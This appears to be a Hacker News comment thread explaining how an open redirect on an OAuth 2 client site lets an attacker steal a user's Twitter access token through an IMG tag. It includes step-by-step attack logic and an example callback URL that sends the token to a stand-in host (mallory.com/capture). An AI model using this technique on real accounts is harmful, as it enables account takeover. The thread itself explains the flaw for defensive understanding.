Comment by patio11 | Hacker News Reader

Comment by patio11 | Hacker News Reader

Here's my understanding of this: 1) Bob uses example.com

2) Bob has authorized example.com to use Bob's Twitter account on his behalf, using OAuth 2

3) example.com happens to have an open redirect, an annoying and rather pervasive type of security vulnerability generally considered to be low-severity. (e.g. Google: "we hold that the usability and security benefits of a small number of well-designed and closely monitored redirectors outweigh their true risks.")

4) Mallory can now own Bob's Twitter account from any IMG tag on the Internet.

Step 1: generate a carefully crafted redirect URL which will start an OAuth authorization with the redirect URL designed to hit example.com but get 302ed to a page Mallory controls.

Step 2: put that URL in an IMG tag

Step 3: cause Bob to load that image. Twitter, noting that Bob has already auth'ed example.com on this device, handily elides a re-login and re-authorization and redirects Bob to the carefully crafted URL on example.com, which redirects him to Mallory's server

Step 4: Mallory now has a token which gives them Bob's Twitter account to play with

Open redirects are a much more common issue than you'd think.

For example, we use elasticemail.com to send out emails. They encourage [1][2] people to setup a 'tracking' domain under your existing domain (ie: tracking.yourdomain.com). They then rewrite links in the emails that go out under their tracking domain. http://tracking.yourdomain.com/track?redirect=[youroriginall...

It turns out that their tracking service is effectively an open redirect and you've been encouraged by their documentation to setup the redirect. Now, if you have auth on your site via oauth2 (ie: facebook login), you've got a hole.

Something like this could easily be setup by the marketing department and the engineers wouldn't know anything about it.

Thanks to Egor Homakov for pointing this out to us.

  [1] http://support.elasticemail.com/kb/general-faq/why-do-my-links-route-through-the-elasticemailcom-domain-and-then-get-redirected-to-the-destination-url
  [2] http://elasticemail.com/post/what-is-a-custom-tracking-domain-and-why-is-it-important

The only aspect I'll take issue with is that in many (granted not all, but many) OAuth use-cases, the user is required to re-login to a site -- even if it was already authorized. The length of the cookie/token for an OAuth login varies, but more and more, I see very few services that don't require me to login again -- or at least manually click the "login" button.

So for step 3 to happen, Mallory needs to try to target a site that Bob is currently logged into or that has a session life that is still active. Otherwise, Bob still sees his Twitter login logo and he has to make a choice to click or retreat.

I am being a bit slow today. How did Mallory come into the picture at step 4? By exploiting some other web app vulnerability on example.com?

Example.com has an open redirect; say http://example.com/redirect?url=xxxxx

Craft the OAuth URL to Twitter passing the callback as http://example.com/redirect?url=http://mallory.com/capture.

Now Mallory can access the parameters passed back by Twitter at /capture on their server.

Questions:

1. You have to look at the referer to get the tokens, no?

2. OAuth 1.0a isn't vulnerable because the requests are signed with a secret, correct?

my understanding is that OAuth 1.0a isn't vulnerable because in that spec, the access_token isn't part of the post-user-authorization redirect (http://tools.ietf.org/html/rfc5849#section-2.2) while it is in Oauth 2.0 (http://tools.ietf.org/html/rfc6749#section-4.2.2)

So, in Oauth 2.0 the redirect URI could be setup to expose the access token. In Oauth 1.0a, the only thing that could leak is the request token and verifier code, but without the original client credentials, they can't be exchanged for an access token.

Reply on news.ycombinator.com